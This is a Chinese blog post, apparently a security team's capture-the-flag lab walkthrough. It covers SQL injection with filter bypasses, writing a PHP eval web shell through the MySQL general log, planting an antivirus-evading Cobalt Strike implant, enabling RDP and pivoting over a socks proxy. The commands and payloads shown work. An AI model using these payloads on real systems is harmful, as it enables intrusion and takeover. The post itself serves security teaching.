李白鸭 李白你好 2023-05-05 08:00 发表于青海
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
宝子们现在只对常读和星标的公众号才展示大图推送,建议大家把李白你好“设为星标”,否则可能就看不到了啦!
0x01 网络安全情报攻防站
本靶场环境是李白安全团队Jerry搭建,并讲授给星球内部成员。星球会有不定时的技术直播课、送书活动和内部交流群,欢迎师傅们前来学习。
0x02 靶场说明
靶场共有5个Flag,靶场涉及到的知识点如下
- SQL注入(分块传输、堆叠注入、函数绕过)
- 免杀绕过360
- CS中转上线
- 内网代理Socks5
- Linux提权
- 历史漏洞利用
- 域内横向移动
复制代码录播、完整的WP和靶场均在知识星球 https://t.zsxq.com/0dWI9hDl8
0x03 Flag1
- C:\phpstudy_pro\WWW\index.php
复制代码1、C段扫描IP发现目标网站
2、点击按钮,尝试”and 1=2”回显不一样,猜测sql注入
3、Sqlmap命令:
- python sqlmap.py -u http://172.16.1.190/index.php?id=1 --dbs
复制代码可以跑出数据库名
但是没有办法进一步跑出表名,猜测存在过滤
4、Burp进行模糊测试
猜测过滤select字段
5、扫描网站目录
发现备份文件www.zip
可以查看源码中过滤了”general_log”、”select”字段。同时id参数是允许post传输的。
6、sql注入日志写shell
想要通过sql注入拿到shell,可以尝试sql日志拿shell,但此时过滤了”general_log”,需要绕过。
绕过方法1:这里利用preg_match()函数特性绕过
通过输入错误语法触发报错,得到web根目录绝对路径
通过堆叠注入,sql日志写shell,分别执行sql语句:
- show variables like '%general%'; #查看配置
- set global general_log = on; #打开日志记录
- set global general_log_file = 'C:/phpStudy_pro/WWW/tom.php' #设置日志位置
- 在id参数中输入?id=123 and '<?php eval($_POST[jerry])?>'将一句话木马写入日志
复制代码
绕过方法2:使用自定义变量+concat函数绕过过滤限制
- ?id=1;set @x=concat('set global general_','log_file = \'C:/phpStudy_pro/WWW/tom2.php\''); prepare a from @x;EXECUTE a;
复制代码
绕过方法3:使用自定义变量+hex编码绕过过滤限制(这里要逐个空格hex转码,空格用20代替)
- ?id=1;set @x=0x73657420676c6f62616c2067656e6572616c5f6c6f673d6f6e;prepare a from @x;EXECUTE a;
复制代码
蚁剑成功连接
Flag1:flag{This_is_1st!}
7、查看进程
发现存在360av
8、上传免杀360木马(免杀另做说明)
执行上线cs
0x04 彩蛋内容
桌面存在一个文件flag100.txt,只有system权限才能查看。
1、使用工具远程开启3389远程桌面
- 工具地址:https://github.com/3had0w/Open3389
复制代码
Cs执行如下代码开启3389端口:
- execute-assembly Sharp3389.exe -rdp0
复制代码
2、新建账号
3、远程桌面连入,以管理员身份启动cmd
也可以考虑将提权的exe加入360可信任组
1、查看第一层主机ip段
发现存在新网段192.168.86.128/24
2、 上传Fscan扫描
这里360会杀掉fscan,有两种解决办法:
- 添加360信任(需要之前的远程桌面连接)
- 使用cs自带的内网扫描(不稳定)
复制代码
3、 挂socks代理
挂代理后可以通过192.168.86.128访问冰墩墩页面
至此是第一个Flag的全部解法,下一篇文章是关于后面几个Flag的解法。
|